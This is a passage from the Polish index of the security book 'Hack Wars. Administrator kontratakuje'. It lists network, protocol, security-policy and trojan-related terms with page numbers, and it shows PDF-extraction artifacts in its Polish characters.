IP/IPX, 318 
IPSec, 211 
IPv6, 211 
IPX, 387 
IRC, 354 
IRIX, 10, 239 

atak DoS, 239 
dostęp roota, 239 

ISDN, 162 
ISP, 37, 136 
IT, 258 

J 

JammerKillah, 106 
Java, 117, 148, 301, 381 
JavaScript, 148, 301, 302 
jednostka obsługi danych, 306 
Juggernaut for Linux, 198 

K 

kapsułkowanie, 312 
karta bankomatowa, 281 
karta sieciowa, 198 

tryb podsłuchowy, 199 
tryb usuwania błędów, 199 

Kazimas, 106 
kernel16.dll, 108 
kernel16.exe, 108 
Kevin Mitnick, 158 
KeyInterceptor, 174 
kill, 310 
klucz szyfrowy, 295 
kolizja, 316, 386 
komutowane połączenie, 265 
koncentrator, 387 
kontrola dostępu publicznego, 284 
kontrola kierownicza, 267 
kontrola obsługi oprogramowania, 277 

dokumentacja, 279 
kontrola waŜności i integralności danych, 278 
szkolenia, 279 
znajomość zabezpieczeń, 279 

kontrola operacyjna, 273, 286 

aplikacja główna, 273 
archiwizacja, 290 
awaria systemów obsługi, 274, 288 
bezpieczeństwo personelu, 273, 286 
czynniki ryzyka poŜarowego, 274 
dokumentacja, 292 
kontrola dostępu, 274 

kontrola integralności, 291 
kontrola obsługi sprzętu, 290 
kontrola produkcyjna, 275, 288 
kontrola wejścia i wyjścia, 275, 288 
obsługa uŜytkowników, 275 
ochrona fizyczna, 274 
ochrona fizyczna i środowiskowa, 287 
ochrona środowiskowa, 274 
planowanie awaryjne, 276, 289 
przechwycenie danych, 275, 288 
systemy mobilne, 275, 288 
znajomość zabezpieczeń, 292 

kontrola produkcyjna, 275 
kontrola techniczna, 280 

identyfikacja, 280, 294 
logiczna kontrola dostępu, 296 
ś

ledzenie śladów, 298 

uwierzytelnianie, 280, 294, 295 

kontrola zajętości bufora, 386 
koń trojański, 63, 380, 388 

samodzielne usuwanie, 99 

Kookaburra Software Cookie Pal, 167 
korekcja błędów, 390 
Krajowe Centrum Zabezpieczenia Komputerów, 6 
księga gości, 354 

L 

L0phtCrack, 195 
lamer, 63 
Lamer, 380 
LAN, 39, 157, 261, 264, 388 
LAN Catalyst 2900XL, 231 
licznik rekordów, 278, 292, 374 
Limit Software Cookie Crusher 2.6, 167 
limity czasu, 316 
linia modemowa, 264 
linkage.c, 240 
Linux, 240 

restart systemu, 240 
zdalny atak na powłokę, 240 
zdalny atak roota, 240 

lista kontroli dostępu, 27, 152 
LiveUpdate, 117, 214 
ljsgz.exe, 110 
lmdrk_33.dll, 108 
Loader.asm, 381 
Local Area Network, 388 
LockDown 2000, 117 
loc-serv, 10, 59 
logiczna kontrola dostępu, 282, 296 
login, 10 
login.mdb, 140, 381 

background image

 
Skorowidz 

403 

 

403 

 

lokalizacja portów otwartych, 63 
lokalni uŜytkownicy, 163 
LookSmart, 351 
Lotus Domino, 233 

zdalny atak, 233 

Lycos, 351 

Ł 

łamanie haseł, 161, 194, 241 

L0phtCrack, 195 

łącza 

dzierŜawione, 162 
WAN, 162 
wirtualne, 388 

M 

MAC, 40, 253, 386 
mail bombing, 37, 161 
Mail Exchange, 37 
MailSafe, 119 
manipulacja dziennikami, 161 
Master UNIX, 5 
MAU, 388 
Maximum Transfer Unit, 388 
McAfee, 213 
McAfee Internet Security 4.0, 167 
mechanizmy ochrony przed włamaniami, 161 

bombardowanie poczty, 191 
cookies, 166 
łamanie haseł, 194 
manipulacja dziennikami, 173 
podsłuch, 197 
podszywanie się, 211 
przepełnianie, 167 
spamowanie, 191 
tylne drzwi, 162 
wewnętrzne implanty, 165 
wirtualna kontrola połączenia, 162 
wirus, 212 

media telekomunikacyjne, 290 
memory.exe, 109 
menedŜer cookies, 167 
Microsoft Internet Information Server, 234 

atak DoS, 234 
defraudacja kodu ASP, 234 
ladowanie konia trojańskiego, 235 

Microsoft Windows, 241 

atak DoS, 247 
FFK.exe, 249 
HDKill.bat, 248 
kradzieŜ hasła, 248 

łamanie haseł, 241 
nieodwracalne usunięcie plików, 249 
podsłuchiwanie plików haseł, 244 
powaŜne przeciąŜenie, 248 
przejęcie kontroli nad systemem, 248 
usunięcie danych z dysku twardego, 248 
uzyskanie przywilejów administratora, 249 
zawieszanie systemu, 245 
złamanie hasła, 249 

milbug_a.exe, 106 
Millenium, 113 
model OSI, 387 
modyfikacja nazwy rejestracyjnej domeny, 137 
monitorowanie, 271 

poczty, 212, 213 

monitorowanie skuteczności, 259 
mprdll.exe, 107 
mprexe.exe, 112 
mschv32.exe, 111 
msgsrv36.exe, 112 
msgsvr32.exe, 107 
MsWind32.drv, 106 
MTU, 12, 388 
MUD, 355 
multipleksowanie, 388 
multiplexing, 388 
Multistation Access Unit, 388 
MX, 37 

N 

NASK, 136 
nasłuch, 10 
NAT, 38, 118, 230 
National Institute of Standards Technology, 257 
nbdatagram, 10, 59 
nbname, 10, 59 
nbsession, 10, 59 
NCSC, 6 
Nestea, 225 
NetBEUI, 388 
NetBIOS, 59, 211, 388 
NetBIOS Extended User Interface, 388 
NetBus, 97 
NetBus Detective, 97, 380 
NetBus Protection System, 97, 380 
NetBus/2/Pro, 112 
netpopup.exe, 108 
Netscape, 351 
Netscape Enterprise Server, 235 

badanie struktury, 235 
przepełnienie bufora, 235 

netscape.hst, 173 

background image

 
404 

Hack Wars. Administrator kontratakuje 

404 

 

NetScreen, 252, 254 

przepełnienie DoS, 254 

NetServer 8/16, 225, 226 
NetSphere, 113 
netstat, 10, 12 
NetWare, 250 
NetWare NDS, 251 
network address translation, 38 
Network Basic Input/Output System, 388 
Network ICE, 115, 255 
network information service, 59 
nieautoryzowany dostęp, 283 
NIS, 59 
niska przepustowość, 304 
NIST, 6, 257 
nmap, 76 
no()ne, 214 
nodll.exe, 108 
Nortel/Bay, 225, 232 

przepełnianie, 232 

Norton Antivirus, 213 
Norton Internet Security, 117 
notpa.exe, 108 
Novell GroupWise Enhancement Pack, 236 
Novell Netware, 250 

kradzieŜ praw nadzorcy, 250 
odkrycie haseł, 250 
przejęcie kontroli nad systemem, 251 

Novell Web Server, 235 

atak DoS, 236 
zbieranie informacji, 236 
zdalne przepełnienie, 236 

NPS, 97 
nssx.exe, 113 
NTAdmin.exe, 249 
ntalk, 10 
NTCrack.exe, 249 
Nuke, 117 
numer identyfikacyjny PIN, 281 

O 

O’Reilly WebSite Professional, 237 

atak DoS, 237 

obsługa uŜytkowników, 275 
ochrona fizyczna, 274 
ODBC, 302, 339 
odwrotne zapytania DNS, 40 
ograniczanie zapytań sesji usługi, 169 
okablowanie, 300 
olemon32.exe, 112 
Open Systems Interconnection, 389 
Oracle, 173 

OS/2, 251 

Tunelowanie, 251 

OSI, 387, 389 
osłona TCP, 26 
osłonięcie, 26 
ostatnio odwiedzane witryny, 149 

P 

pakiet, 389 
Palm Pilot Pro, 225, 227 
Państwowy Instytut Standaryzacji i Technologii, 

257 

passwd, 17 
password shadowing, 195 
password.mdb, 141 
patch.exe, 109, 113 
PC, 115 
PC Anywhere, 300 
PC Optimization Kit, 5 
pddt.dat, 106 
Permanent Virtual Circuit, 306, 390 
phAse Zero, 107 
phreak, 7, 389 
PIN, 281, 295 
PING, 151 
PIX, 157, 231, 252, 254 
planowanie awaryjne, 276 
planowanie zabezpieczeń w cyklu Ŝycia, 269 

administracja, 271 
faza działania, 271 
faza implementacji, 270 
faza inicjacji, 269 
faza obsługi, 271 
faza przejęcia, 269 
faza rozwoju, 269 
faza usuwania, 271 
kontrola, 271 
zapewnienie działania, 271 

Plug and Play, 101 
pluginy, 148 
płyta CD, 345 
poczta elektroniczna, 7, 191 

blokowanie, 194 
bomby pocztowe, 191 
sortowanie, 194 
spamowanie, 191 
sprawdzanie, 194 
uwierzytelnianie, 194 

podpis cyfrowy, 285 
podsłuch, 197 
podsłuchiwanie pakietów, 161, 173 
podstawowy interfejs prywatności, 212 

background image

 
Skorowidz 

405 

 

405 

 

podszywanie się, 161, 211 

pod adres IP, 302 

point of presence, 149 
Point-to-Point Protocol, 389 
połączenia 

anonimowe, 16 
komutowane, 162 
systemu, 265 

POP, 58, 149, 389 
pop2, 10 
pop3, 10 
POP3, 194, 303 
Port Session Sniffer, 119 
Port Watcher, 382 
Portal of Doom, 110 
portmap, 10, 59 
porty specjalne, 389 
porty standardowe, 389 
porty ukryte, 9, 61 
porty zarezerwowane, 9, 10 

bootp (67), 40 
chargen (19), 12 
domain (53), 39 
echo (7), 11 
finger (79), 57 
FTP (21), 13 
HTTP (80), 57 
loc-serv (135), 59 
nbdatagram (138), 59 
nbname (137), 59 
nbsession (139), 59 
netstat (15), 12 
POP (109-110), 58 
portmap (111), 59 
SMTP (25), 37 
SNMP (161), 59 
systat (11), 12 
talk (517-518), 60 
telnet (23), 25 
TFTP (69), 41 
UUCP (540), 61 
zabezpieczanie, 10 

porty znane, 9 
Post Office Protocol, 58, 389 
poświadczenie, 385 
poziom błędów, 389 
PPP, 389 
prefs.js, 173 
priocol.exe, 105 
Priority, 111 
procedury szkolenia uŜytkowników, 295 
procedury zarządzania kluczem szyfrowym, 297 
proces zarządzajacy demonami, 10 
procesy systemowe, 10 

ProgenicMail.zip, 249 
programy oczyszczające system, 96 

AntiGen, 96 
BoDetect, 96 
NetBus Detective, 97 
NetBus Protection System, 97 
Tauscan, 97 
The Cleaner, 98 
Trojan Remover, 98 

projekt witryny internetowej, 138 
Promiscious Mode, 389 
Promiscuos Mode, 198 
Prosiak, 113 
prosiak.exe, 113 
prosty protokół zarządzania siecią, 59 
protokoły, 389 

FTP, 13 
HTTP, 57, 223 
POP, 58 
POP3, 194 
RIP, 311 
SMTP, 37 
Talk, 60 
TCP/IP, 162 
UUCP, 61 

protokół informowania o trasach, 60 
protokół kopiowania między systemami UNIX, 61 
proxy, 7, 63, 151, 162, 223, 224 
próby atakowania sieci, 57 
prywatne sieci wirtualne, 61, 205 
przechwytywanie ekranu, 344 
przeciąŜenie potoku haseł, 227 
przeglądarka WWW, 39, 148 

zainstalowane wtyczki, 148 

przejęcie sesji Telnetu, 198 
przekierowanie hosta, 304 
przełącznik, 205 
przepełnianie, 40, 161 

portów zarezerwowanych, 167 

przetwarzanie skryptów CGI, 58 
pserver.exe, 111 
publiczna sieć danych, 264 
PVC, 306, 388, 390 

R 

ramka, 390 
Raptor, 252, 255 

atak DoS, 255 

RARP, 390 
Rasmin, 106 
rasmin.exe, 107 
RAT, 110 

background image

 
406 

Hack Wars. Administrator kontratakuje 

406 

 

Reachout, 300, 304 
redukcji ryzyka, 265 
redundancja dzienników, 173 
regedit, 100 
regedit.exe, 11 
regedt32, 100 
rejestr systemu Windows, 10 

bieŜąca konfiguracja sprzętowa, 101 
dane dotyczące zalogowanego uŜytkownika, 

100 

dane dynamiczne, 101 
HKEY_CLASSES_ROOT, 100 
HKEY_CURRENT_CONFIG, 101 
HKEY_CURRENT_USER, 100 
HKEY_DYN_DATA, 101 
HKEY_LOCAL_MACHINE, 101 
HKEY_USERS, 101 
ustawienia oprogramowania, 100 

rekord wymiany poczty, 37 
Remote Grab, 112 
replikacja, 390 
results.dll, 107 
retransmisja pliku, 304 
Reverse Address Resolution Protocol, 390 
rexec(), 60 
RIP, 60, 311 
RIPE, 387 
rmaapp.exe, 110 
Robo-Hack, 111 
robo-serv.exe, 111 
root, 237, 383 
route, 10 
router 

3Com, 152 
Cisco, 152, 169 
dostępowy, 38 
Intel Express, 157 

Router SSR 8000, 228 
Route-Switch Module, 230 
routing dynamiczny, 388 
Routing Information Protocol, 60, 311 
rozgłaszanie, 172 
rozpoznanie, 390 
RPC, 59, 239 
RPG, 5 
RSM, 230 
RST, 391 
rtelnet, 163 
runme.exe, 109 

S 

samodzielne usuwanie koni trojańskich, 99 

Acid Shivers, 112 
AntiGen, 105 
AOL Trojan, 113 
Attack FTP, 107 
Back Construction, 105, 107 
Back Orifice, 114 
BackDoor, 108 
BLA, 107 
Blade Runner, 105 
BrainSpy, 112 
Bubbel, 110 
Bugs, 109 
Cain & Abel, 107 
Coma, 112 
Deep Throat, 106 
Delta Source, 114 
Devil, 114 
Digital RootBeer, 109 
Doly Trojan, 107 
Eclipse, 110 
Email Password Sender, 105 
Executor, 106 
File Nail, 110 
Firehotker, 106 
Fore, 105 
FTP99CMP, 108 
GateCrasher, 111 
GirlFriend, 113 
Hack’99 KeyLogger, 112 
Hack'a'Tack, 114 
Illusion Mailer, 109 
InCommand, 112 
Invisible FTP, 105 
JammerKillah, 106 
Kazimas, 106 
lista portów, 104 
Millenium, 113 
NetBus/2/Pro, 112 
NetSphere, 113 
phAse Zero, 107 
Portal of Doom, 110 
Priority, 111 
Prosiak, 113 
Rasmin, 106 
RAT, 110 
Remote Grab, 112 
Robo-Hack, 111 
Shit Heep, 111 
shockrave, 108 
Shtrilitz, 105 
Sockets de Troie, 110 
Spirit, 114 
Stealth, 105 
Striker, 109 

background image

 
Skorowidz 

407 

 

407 

 

struktura rejestru, 100 
SubSeven, 108 
Tapiras, 105 
The Invasor, 109 
The Spy, 114 
The tHing, 111 
Tiny Telnet Server, 105 
Transmission Scout, 108 
Trojan Cow, 109 
Ultors Trojan, 108 
VooDoo Doll, 108 
WinPC, 106 

SAP, 390 
SC3640, 229 
scentralizowany system zarządzania, 116 
schemat adresowania IP/IPX, 302 
schemat hasła systemu operacyjnego, 194 
SCO, 252 

dostęp roota POP, 252 

SCOPOP, 252 
server.exe, 105, 106, 108, 110, 112 
servers.exe, 109 
Service Advertisement Protocol, 390 
Service Pack, 245 
serv-u.ini, 107, 108 
serwer 

MUD, 355 
nazw domen, 37 
plików, 390 
RPC, 59 
Tiger Web, 354 

sesja anonimowa, 41 
SGI, 240 
shareware, 277 
shell, 10 
Shit Heep, 111 
shockrave, 108 
Shtrilitz, 105 
sieciowa usługa informacyjna, 59 
sieć 

komunikacji, 262 
LAN, 157 
lokalna, 264 
rozległa, 147, 264, 298 
szkieletowa, 136, 262 

Simple Mail Transfer Protocol, 37 
Simple Network Management Protocol, 59, 391 
Simple TCP/IP Services, 12 
Site Forbidden, 350 
skanowanie, 390 

antywirusowe, 278 
fragmentacyjne, 390 
lokalizacji, 301 
połówkowe, 391 

portów, 9 
portów lokalnych, 62 
TCP (pełne), 390 
TCP FIN, 391 
TCP SYN, 391 
UDP ICMP_PORT_UNREACH, 391 
UDP recvfrom() oraz write(), 391 
wewnętrzne, 391 
zabezpieczeń, 344 
zakresu adresów IP, 151 

skrypt logowania, 139 
smack.c, 238 
SmartSwitch Router, 228 
SMTP, 10, 37, 303 
SMTP-NAT, mechanizm, 38 
SMTP-NAT-DMZ, 38, 39, 57, 214 
SNA, 265 
sniffer, 173, 197, 302, 391 
SNMP, 10, 59, 138, 391 
Sockets de Troie, 110 
Solaris, 10, 252 

dostęp roota, 252 

spamming, 37 
spamowanie, 161, 191 
Spirit, 114 
spoofing, 40, 161 
spool64.exe, 105 
SQL, 173, 318 
SSR, 228 
stacja robocza, 301 
stałe kanały wirtualne, 306 
status 

logowania, 173 
operacyjny, 173 
operacyjny systemu, 263 

Stealth, 105 
Stealth Activity Recorder and Reporter, 174 
STeRoiD, 205 
strefa ograniczonego dostępu, 118 
strefa zdemilitaryzowana, 38 
Striker, 109 
struktura rejestru, 100 
strumień, 391 

połączenia, 41 

SubSeven, 108 
suid root, 239 
Sun Microsystems, 158 
SunOS, 10 
SuperStack II 2200, 226 
SVC, 388, 391 
Switched Virtual Circuit, 391 
sygnatury wirusów, 214 
Symantec Firewall, 255 
synchronizowanie numerów sekwencyjnych, 10 

background image

 
408 

Hack Wars. Administrator kontratakuje 

408 

 

Synlogger, 391 
sysedit.exe, 113 
syslog, 10 
systat, 10, 12 
system ogólnego wsparcia, 286 

kontrola operacyjna, 286 
kontrola techniczna, 294 

system operacyjny, 224 

AIX, 237 
atak DoS, 239 
BSD, 238 
HP/UX, 239 
IRIX, 239 
Linux, 240 
Microsoft Windows, 241 
Novell Netware, 250 
OS/2, 251 
SCO, 252 
Solaris, 252 

system password debug, 226 
system.exe, 111 
system.ini, 11, 100 
systemtr.exe, 109 
systray.exe, 106, 114 
syswindow.exe, 109 
szablony zasad bezpieczeństwa, 299 
szkolenia, 292 
szperacz, 197 
szpiegostwo, 309 
szyfrowanie, 205, 283, 297 

128-bitowe, 381 
Blowfish, 195 
DES, 195 

Ś

 

ś

ledzenie odbioru waŜnych danych, 275 

ś

ledzenie śladów, 285, 298 

ś

lepe testowanie, 339 

ś

rodowisko systemu, 264 

T 

t5port.exe, 108 
tablica ogłoszeniowych, 355 
talk, 10 
Tapiras, 105 
tapiras.exe, 106 
Tauscan, 97 
TCP, 10, 167, 392 
TCP Maximum Incomplete Sessions per Host, 

170 

Tcp wrappers, 379 

TCP wrappers, 26 
TCP/IP, 162 
tcp_wrapper, 26 
tcpd, 26 
techniki kryptograficzne, 205 
techniki skanowania CGI, 214 
technologia informatyczna, 258 
telnet, 7, 10, 25, 162, 168, 225, 310 

osłona TCP, 26 

terminal, 173, 282 
tesk.exe, 107 
testy 

penetracji, 300, 301 
podszywania się pod adres IP, 300 
przepełnienia IP, 302 
spamu, 303 

TFTP, 10, 41 
TFTPServ.ini, 17 
The Cleaner, 98 
The Invasor, 109 
The Spy, 114 
The tHing, 111 
thing.exe, 111 
three-way handshake, 10 
Thunderstone, 351 
Tiger FTP, 17 
Tiger Inspect, 76 
Tiger Team, 7, 223 
Tiger Telnet, 28 
Tiger TFTP, 41 
Tiger Web, 354 
TigerBlock, 344, 350 
TigerCrypt, 196, 381 
TigerFTPServ, 17, 379 
TigerGuard, 119, 349, 380 

Intrusion Sniffer, 119 
Port Session Sniffer, 119 

TigerGuard.ini, 120 
TigerInspect, 380 
TigerLog, 381 
TigerPass, 381 
TigerPass ASP, 141 
TigerSearch, 344, 351 
TigerSuite, 305 
TigerSurf, 343, 382 

bezpieczna usługa FTP, 352 
bezpieczny telnet, 352 
edytor HTML, 348 
ekran logowania, 344 
główny moduł, 345 
Image Viewer, 353 
Personal Links, 346 
przeglądarka zdjęć, 353 
Screen Capture, 353 

background image

 
Skorowidz 

409 

 

409 

 

Secure E-mail, 347 
Secure FTP, 347, 352 
Secure telnet, 347 
skanowanie zabezpieczeń, 350 
strona domowa, 347 
TigerSearch the Internet, 347 
TigerTalk, 348 
TigerTrack the market, 347 
TigerWatch, 347 
zaawansowane opcje internetowe, 347 
zrzuty ekranowe, 353 

TigerTelnetServ, 28, 379 
TigerTFTPServ, 41, 379 
TigerTrack, 344, 352 
TigerWatch, 11, 57, 104, 344, 349 

domyślna lista zasad, 349 

TigerWebServer, 58 
TigerWipe, 199, 380 
Tiny Telnet Server, 105 
token, 281, 295 
Token Ring, 312 
Total Control NETServer v.34/ISDN, 226 
traceroute, 136 
translacja adresów sieciowych, 38 
translacja nazw na adresy IP, 39 
transmisja 

asynchroniczna, 392 
bitowa, 390 
synchroniczna, 392 
w postaci okien, 392 

Transmission Control Protocol, 392 
Transmission Scout, 108 
trasowanie, 311 
trojan, 392 
Trojan Cow, 109 
Trojan Remover, 98 
trójstopniowa wymiana potwierdzeń, 10 
tryb podsłuchowy, 198 
tunel, 212 
tylne drzwi, 161 

ochrona, 162 

typ przeglądarki, 148 

U 

ubr7200, 229 
UDP, 10, 167, 392 
Ultors Trojan, 108 
unikalna identyfikacja, 280, 294 
UNIX, 10, 57, 76, 162 
UNIX-to-UNIX Copy Protocol, 61, 392 
update.exe, 111 
upgrade.exe, 107 

uprzywilejowane punkty dostępowe, 302 
URL, 57, 174 
User Datagram Protocol, 392 
Users.ini, 28 
usługa 

traceroute, 136 
Whois, 135 

usługodawca internetowy, 37 
uucp, 10 
UUCP, 61, 392 
uwierzytelnianie, 211, 280, 281, 294, 295 

cechy biometryczne, 295 
hasło, 295 
token, 295 

V 

Variable-Length Subnet Masking, 392 
VB, 139 
VBScript, 148 
Virtual Private Network, 205 
Virtual Private Networks, 61 
Visual Basic, 63 
VLSM, 392 
Voice Gateway, 229 
VooDoo Doll, 108 
VPN, 61, 116, 205 
VS-3 Access Solutions, 229 

W 

WAN, 162, 264, 284, 352, 392 
wariancja, 286 
wdroŜenie zabezpieczeń, 338 
Web page hack, 57 
Web Publishing, 235 
well-known ports, 9, 10 
weryfikacja poprawności danych, 386 
wewnętrzne implanty, 165 
Whois, 135, 192 
Wide Area Network, 392 
wielostrumieniowy mechanizm przeszukiwania, 

343 

win.ini, 11, 100 
windll.exe, 113 
Windll.exe, 105 
windll16.exe, 108 
windll32.exe, 113 
windown.exe, 114 
Windows, 162 
Windows 2000, 211 
Windows 9x, 98 
Windows NT/2000, 57 

background image

 
410 

Hack Wars. Administrator kontratakuje 

410 

 

windows.exe, 108 
WinGate, 252, 255 

atak DoS, 255 

WinLock, 241, 382 
WinPC, 106 
winpc.exe, 106 
winprotecte.exe, 105 
WINS, 59 
Winsock1, 76 
winsrvc.exe, 107 
winstat.exe, 105 
wirtualna kontrola połączenia, 162 

filtry urządzeń dostępowych Cisco, 162 

wirus, 117, 161, 212 

aktywacja, 212 
aktywne skanowanie, 212 
manipulacja, 212 
replikacja, 212 
włamania na strony internetowe, 214 

witryna internetowa, 138, 343 
włamania na strony internetowe, 214 
właściwości połączenia sieciowego, 13 
World Wide Web, 7, 57 
wrap, 169 
wrapper, 57 
wrapping, 26 
wscan.exe, 107 
wspool.exe, 107 
współdzielenie informacji, 265 
wtching.dll, 108 
wver.dll, 107 
WWW, 57 
wygaszacz ekranu, 241 
wykorzystanie pasma, 315 
wykrywanie błędów, 392 

X 

xDSL, 162, 354 
X-Window, 60 

Y 

Yahoo!, 351 

Z 

zabezpieczanie portów, 9 

ukrytych, 96 

zabezpieczenia głównej aplikacji, 357 

długość hasła, 365 
dokumentacja, 364 
faza działania i obsługi, 360 

faza implementacji, 360 
faza inicjacji, 360 
faza rozwoju i przejęcia, 360 
faza usuwania, 360 
identyfikacja, 364 
identyfikacja systemu, 357 
informacje kontaktowe, 357 
kontrola dostępu publicznego, 366 
kontrola kierownicza, 359 
kontrola obsługi oprogramowania, 363 
kontrola operacyjna, 361 
kontrola produkcyjna, 361 
kontrola techniczna, 364 
kontrola waŜności danych, 363 
logiczna kontrola dostępu, 365 
planowanie awaryjne, 362 
połączenia systemu, 358 
procedury zmiany hasła, 365 
przegląd środków kontroli zabezpieczeń, 359 
przydział odpowiedzialności za zabezpieczenia, 

358 

status operacyjny systemu, 358 
ś

ledzenie śladów, 367 

ś

rodowisko systemu, 358 

uwierzytelnianie, 364 
zarządzanie ryzykiem, 359 
zasady mające wpływ na system, 359 

zabezpieczenia systemu ogólnego wsparcia, 367 

autoryzacja działania, 371 
bezpieczeństwo personelu, 371 
długość hasła, 375 
dokumentacja, 374 
faza działania i obsługi, 371 
faza implementacji, 370 
faza inicjacji, 370 
faza rozwoju i przejęcia, 370 
faza usuwania, 371 
hash, 374 
identyfikacja, 375 
identyfikacja systemu, 367 
informacje kontaktowe, 367 
kontrola integralności, 374 
kontrola kierownicza, 369 
kontrola obsługi sprzętu, 373 
kontrola operacyjna, 371 
kontrola produkcyjna, 372 
kontrola techniczna, 375 
kontrola wejścia i wyjścia, 372 
logiczna kontrola dostępu, 376 
plan zapasowy, 373 
planowanie zabezpieczeń w cyklu Ŝycia, 370 
połączenia systemu, 369 
procedury zmiany hasła, 375 
przydział odpowiedzialności, 368 

background image

 
Skorowidz 

411 

 

411 

 

ś

ledzenie śladów, 377 

ś

rodki kontroli zabezpieczeń, 369 

ś

rodowisko systemu, 368 

uwierzytelnianie, 375 
zarządzanie ryzykiem, 369 
zasady zachowania, 370 
znajomość zabezpieczeń, 375 

zamroŜone klatki, 304 
zapewnienie działania, 271 
zapora firewall, 115 
zasady bezpieczeństwa, 257 

analiza systemu, 260 
autoryzacja działania, 272 
cele planu zabezpieczeń, 259 
dostępność, 266 
główna aplikacja, 261 
granice systemu, 260 
identyfikacja systemu, 262 
integralność, 266 
kategoria systemu, 261 
kontrola kierownicza, 267 
ocena i zarządzanie ryzykiem, 267 
odbiorcy, 260 
odpowiedzialność w planie zabezpieczeń, 259 
planowanie zabezpieczeń w cyklu Ŝycia, 269 
plany dla głównych aplikacji, 259 
połączenia systemu, 265 
poufność, 266 
rekomendowany format, 259 
system ogólnego wsparcia, 262 
ś

rodki kontroli zabezpieczeń, 267 

tworzenie planu, 262 
wraŜliwość obsługiwanych informacji, 265 
zasady zachowania, 268 

zasady zachowania, 260 
zasłanianie, 118 
zaszyfrowane sumy kontrolne, 211 
zdalna 

infiltracja, 161 
inspekcja, 301 

zdalni uŜytkownicy, 163 
zgłaszanie wypadków naruszenia bezpieczeństwa, 

293 

złamanie strony WWW, 57 
ZoneAlarm Pro, 118 
zwodzenie, 40 

ś

 

Ŝą

danie HTTP, 214